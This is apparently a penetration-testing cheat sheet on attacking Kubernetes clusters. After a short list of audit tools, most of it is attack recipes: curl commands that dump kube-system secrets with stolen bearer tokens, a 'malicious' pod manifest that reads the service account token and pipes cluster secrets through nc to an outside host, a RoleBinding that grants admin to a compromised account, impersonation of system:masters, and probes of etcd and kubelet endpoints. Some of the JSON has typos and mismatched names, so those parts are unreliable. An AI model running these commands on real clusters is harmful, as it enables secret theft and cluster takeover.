Kubernetes Exploit#
Auditing tools, secret-extraction tradecraft, and post-exploitation recipes for Kubernetes clusters. The operator points kubeaudit and kube-bench at the cluster, then walks RBAC, service account tokens, and exposed API endpoints to widen access.
Tools#
kubeaudit, command-line tool to audit Kubernetes clusters for security concerns (non-root containers, read-only root filesystem, dropped capabilities, no new capabilities, non-privileged).
https://github.com/Shopify/kubeauditkubesec.io, online security risk analysis for Kubernetes resources.
https://kubesec.io/kube-bench, Go application that checks whether Kubernetes is deployed securely by running checks from the CIS Kubernetes Benchmark.
https://github.com/aquasecurity/kube-benchkatacoda, interactive browser-based Kubernetes scenarios.
https://katacoda.com/courses/kubernetes
Listing secrets#
An attacker that gains access to list secrets in the cluster can use
the following curl to grab all secrets in kube-system.
$ curl -v -H "Authorization: Bearer <jwt_token>" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Kubernetes secret locations#
Secrets store passwords, API tokens, SSH keys. Watch for volume mount points where secrets can be stored and referenced by the pod.
$ kubectl get secrets
$ kubectl describe secrets/<Name>
# Decode a secret username or password
$ echo '<base64_username_string>' | base64 --decode
$ echo '<base64_password_string>' | base64 --decode
Pod creation#
Check rights.
$ kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml
Then create a malicious pod.yaml.
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
Apply.
$ kubectl apply -f malicious-pod.yaml
Use pods / exec privilege#
$ kubectl exec -it <POD NAME> -n <PODS NAMESPACE> -- sh
Get / patch rolebinding privilege#
Bind the admin ClusterRole to the compromised service account.
{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "RoleBinding",
"metadata": {
"name": "malicious-rolebinding",
"namespcaes": "default"
},
"roleRef": {
"apiGroup": "*",
"kind": "ClusterRole",
"name": "admin"
},
"subjects": [
{ "kind": "ServiceAccount", "name": "sa-comp", "namespace": "default" }
]
}
Apply with a JWT token.
$ curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" \
-H "Content-Type: application/json" \
https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \
-d @malicious-RoleBinging.json
Retrieve secrets with the new compromised token.
$ curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>" \
-H "Content-Type: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
Impersonating an account#
$ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters" -H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Service account token#
$ cat /run/secrets/kubernetes.io/serviceaccount/token
$ curl -k -v -H "Authorization: Bearer <jwt_token>" \
https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
Enumerable endpoints#
# List Pods
$ curl -v -H "Authorization: Bearer <jwt_token>" \
https://<master_ip>:<port>/api/v1/namespaces/default/pods/
# List secrets
$ curl -v -H "Authorization: Bearer <jwt_token>" \
https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
# List deployments
$ curl -v -H "Authorization: Bearer <jwt_token>" \
https://<master_ip>:<port>/apis/extensions/v1beta1/namespaces/default/deployments
# List daemonsets
$ curl -v -H "Authorization: Bearer <jwt_token>" \
https://<master_ip>:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets
API endpoints#
# cAdvisor
$ curl -k https://<IP>:4194
# Insecure API server
$ curl -k https://<IP>:8080
# Secure API server
$ curl -k https://<IP>:(8|6)443/swaggerapi
$ curl -k https://<IP>:(8|6)443/healthz
$ curl -k https://<IP>:(8|6)443/api/v1
# etcd API
$ curl -k https://<IP>:2379
$ curl -k https://<IP>:2379/version
$ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
# Kubelet API
$ curl -k https://<IP>:10250
$ curl -k https://<IP>:10250/metrics
$ curl -k https://<IP>:10250/pods
# Kubelet (read only)
$ curl -k https://<IP>:10255
$ http://<external-IP>:10255/pods